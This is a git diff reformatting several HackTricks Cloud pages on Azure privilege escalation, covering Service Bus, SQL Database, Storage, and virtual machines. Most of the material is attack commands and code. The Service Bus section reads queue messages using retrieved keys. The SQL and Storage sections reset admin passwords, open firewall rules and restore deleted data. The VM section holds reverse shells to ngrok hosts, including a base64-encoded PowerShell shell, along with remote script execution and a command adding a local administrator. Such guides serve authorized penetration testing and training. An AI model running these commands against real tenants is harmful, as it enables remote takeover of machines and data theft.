 ### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
+
 You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
 
-{% code overflow="wrap" %}
 ```python
 #You need to install the following libraries
 #pip install azure-servicebus
@@ -125,15 +109,15 @@ async def receive_and_process_messages():
 
         # Get the Subscription Receiver object for the specified topic and subscription
         receiver = servicebus_client.get_subscription_receiver(
-            topic_name=TOPIC_NAME, 
-            subscription_name=SUBSCRIPTION_NAME, 
+            topic_name=TOPIC_NAME,
+            subscription_name=SUBSCRIPTION_NAME,
             max_wait_time=5
         )
 
         async with receiver:
             # Receive messages with a defined maximum wait time and count
             received_msgs = await receiver.receive_messages(
-                max_wait_time=5, 
+                max_wait_time=5,
                 max_message_count=20
             )
             for msg in received_msgs:
@@ -148,6 +132,7 @@ print("----------------------------")
 ```
 
 ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
+
 If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
 
 ```bash
@@ -160,18 +145,10 @@ az servicebus namespace authorization-rule update \
 
 ## References
 
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
-* https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
-* https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
+- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
similarity index 59%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index bf2b2515d..8122224dc 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -1,32 +1,19 @@
 # Az - SQL Database Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SQL Database Privesc
+
 For more information about SQL Database check:
 
-{% content-ref url="../az-services/az-sql.md" %}
-[az-sql.md](../az-services/az.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-sql.md
+{{#endref}}
 
 ### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
 
 With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
 
-{% code overflow="wrap" %}
 ```bash
 # Change the server password
 az sql server update \
@@ -42,24 +29,20 @@ az sql server create \
   --admin-user <admin_username> \
   --admin-password <admin_password>
 ```
-{% endcode %}
 
 Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
 
-{% code overflow="wrap" %}
 ```bash
 az sql server update \
   --name <server-name> \
   --resource-group <resource-group> \
   --enable-public-network true
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/firewallRules/write"
 
 An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
 
-{% code overflow="wrap" %}
 ```bash
 # Create Firewall Rule
 az sql server firewall-rule create \
@@ -77,16 +60,14 @@ az sql server firewall-rule update \
     --start-ip-address <new-start-ip-address> \
     --end-ip-address <new-end-ip-address>
 ```
-{% endcode %}
 
-Additionally, ```Microsoft.Sql/servers/outboundFirewallRules/delete``` permission lets you delete a Firewall Rule. 
-NOTE: It is necesary to have the public access enabled 
+Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
+NOTE: It is necesary to have the public access enabled
 
 ### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
 
 With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
 
-{% code overflow="wrap" %}
 ```bash
 az sql server firewall-rule create \
   --server <server_name> \
@@ -95,16 +76,14 @@ az sql server firewall-rule create \
   --start-ip-address <start_ipv6_address> \
   --end-ip-address <end_ipv6_address>
 ```
-{% endcode %}
 
-Additionally, ```Microsoft.Sql/servers/ipv6FirewallRules/delete``` permission lets you delete a Firewall Rule.
-NOTE: It is necesary to have the public access enabled 
+Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
+NOTE: It is necesary to have the public access enabled
 
 ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
 
 With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
 
-{% code overflow="wrap" %}
 ```bash
 az sql server ad-admin create \
   --server <server_name> \
@@ -112,13 +91,11 @@ az sql server ad-admin create \
   --display-name <admin_display_name> \
   --object-id <azure_subscribtion_id>
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
 
 With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
 
-{% code overflow="wrap" %}
 ```bash
 #Enable
 az sql server azure-ad-only-auth enable \
@@ -130,19 +107,5 @@ az sql server azure-ad-only-auth disable \
   --server <server_name> \
   --resource-group <resource_group_name>
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
similarity index 60%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index 3f3fba06b..d94de30c0 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -1,27 +1,14 @@
 # Az - Storage Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Storage Privesc
 
 For more information about storage check:
 
-{% content-ref url="../az-services/az-storage.md" %}
-[az-storage.md](../az-services/az-storage.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-storage.md
+{{#endref}}
 
 ### Microsoft.Storage/storageAccounts/listkeys/action
 
@@ -45,7 +32,6 @@ az storage account keys renew --account-name <acc-name> --key key2
 
 A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
 
-{% code overflow="wrap" %}
 ```bash
 # e.g. set default action to allow so network restrictions are avoided
 az storage account update --name <acc-name> --default-action Allow
@@ -53,7 +39,6 @@ az storage account update --name <acc-name> --default-action Allow
 # e.g. allow an IP address
 az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
 ```
-{% endcode %}
 
 ## Blobs Specific privesc
 
@@ -61,9 +46,8 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
 
 The first permission allows to **modify immutability policies** in containers and the second to delete them.
 
-{% hint style="info" %}
-Note that if an immutability policy is in lock state, you cannot do neither of both
-{% endhint %}
+> [!NOTE]
+> Note that if an immutability policy is in lock state, you cannot do neither of both
 
 ```bash
 az storage container immutability-policy delete \
@@ -94,9 +78,8 @@ This should allow a user having this permission to be able to perform actions in
 
 ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
 
-With this permission, an attacker can create and update (if has ```Microsoft.Storage/storageAccounts/localusers/read``` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
+With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
 
-{% code overflow="wrap" %}
 ```bash
 az storage account local-user create \
   --account-name <STORAGE_ACCOUNT_NAME> \
@@ -106,35 +89,29 @@ az storage account local-user create \
   --home-directory <HOME_DIRECTORY> \
   --has-ssh-key false/true # Depends on the auth method to use
 ```
-{% endcode %} 
 
 ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
 
 With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
 
-{% code overflow="wrap" %}
 ```bash
 az storage account local-user regenerate-password \
   --account-name <STORAGE_ACCOUNT_NAME> \
   --resource-group <RESOURCE_GROUP_NAME> \
   --name <LOCAL_USER_NAME>
 ```
-{% endcode %}
 
 To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
 
-{% code overflow="wrap" %}
 ```bash
 sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
 #regenerated-password
 ```
-{% endcode %}
 
 ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
 
 With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
 
-{% code overflow="wrap" %}
 ```bash
 #Restore the soft deleted container
 az storage container restore \
@@ -148,45 +125,28 @@ az storage blob undelete \
   --container-name <CONTAINER_NAME> \
   --name "fileName.txt"
 ```
-{% endcode %}
 
 ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
 
 With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
 
-{% code overflow="wrap" %}
 ```bash
 az storage share-rm restore \
   --storage-account <STORAGE_ACCOUNT_NAME> \
   --name <FILE_SHARE_NAME> \
   --deleted-version <VERSION>
 ```
-{% endcode %}
 
 ## Other interesting looking permissions (TODO)
 
-* Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
-* Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
-* Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
-* Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
+- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
+- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
+- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
+- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
-* [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
+- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
+- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
 
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
similarity index 85%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index b558868c5..ee62ce582 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -1,38 +1,25 @@
 # Az - Virtual Machines & Network Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image%20(1)%20(1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image%20(1)%20(1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image%20(2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image%20(2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## VMS & Network
 
 For more info about Azure Virtual Machines and Network check:
 
-{% content-ref url="../az-services/vms/" %}
-[vms](../az-services/vms/)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/vms/
+{{#endref}}
 
 ### **`Microsoft.Compute/virtualMachines/extensions/write`**
 
 This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
 Example abusing custom extensions to execute arbitrary commands in a VM:
 
-{% tabs %}
-{% tab title="Linux" %}
-* Execute a revers shell
+{{#tabs }}
+{{#tab name="Linux" }}
+
+- Execute a revers shell
 
-{% code overflow="wrap" %}
 ```bash
 # Prepare the rev shell
 echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -48,11 +35,9 @@ az vm extension set \
   --settings '{}' \
   --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
 ```
-{% endcode %}
 
-* Execute a script located on the internet
+- Execute a script located on the internet
 
-{% code overflow="wrap" %}
 ```bash
 az vm extension set \
   --resource-group rsc-group> \
@@ -63,13 +48,13 @@ az vm extension set \
   --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
   --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Windows" %}
-* Execute a reverse shell
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
+- Execute a reverse shell
 
-{% code overflow="wrap" %}
 ```bash
 # Get encoded reverse shell
 echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -85,11 +70,9 @@ az vm extension set \
   --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
 
 ```
-{% endcode %}
 
-* Execute reverse shell from file
+- Execute reverse shell from file
 
-{% code overflow="wrap" %}
 ```bash
 az vm extension set \
   --resource-group <rsc-group> \
@@ -100,21 +83,19 @@ az vm extension set \
   --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
   --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
 ```
-{% endcode %}
 
 You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
 
-* Reset password using the VMAccess extension
+- Reset password using the VMAccess extension
 
-{% code overflow="wrap" %}
 ```powershell
 # Run VMAccess extension to reset the password
 $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
 Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
 
@@ -124,13 +105,11 @@ It's also possible to abuse well-known extensions to execute code or perform pri
 
 This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
 
-{% code overflow="wrap" %}
 ```powershell
 # Run VMAccess extension to reset the password
 $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
 Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
 ```
-{% endcode %}
 
 </details>
 
@@ -204,8 +183,9 @@ The last 2 permissions might be avoided by sharing the application with the tena
 
 Exploitation example to execute arbitrary commands:
 
-{% tabs %}
-{% tab title="Linux" %}
+{{#tabs }}
+{{#tab name="Linux" }}
+
 ```bash
 # Create gallery (if the isn't any)
 az sig create --resource-group myResourceGroup \
@@ -240,10 +220,11 @@ az vm application set \
    --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
    --treat-deployment-as-failure true
 ```
-{% endtab %}
 
-{% tab title="Windows" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
 ```bash
 # Create gallery (if the isn't any)
 az sig create --resource-group <rsc-group> \
@@ -282,16 +263,17 @@ az vm application set \
    --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
    --treat-deployment-as-failure true
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### `Microsoft.Compute/virtualMachines/runCommand/action`
 
 This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
 
-{% tabs %}
-{% tab title="Linux" %}
+{{#tabs }}
+{{#tab name="Linux" }}
+
 ```bash
 # Execute rev shell
 az vm run-command invoke \
@@ -303,9 +285,11 @@ az vm run-command invoke \
 # revshell.sh file content
 echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
 ```
-{% endtab %}
 
-{% tab title="Windows" %}
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
 ```bash
 # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
 # Execute a rev shell
@@ -322,7 +306,7 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
 ## In Package file link just add any link to a blobl storage file
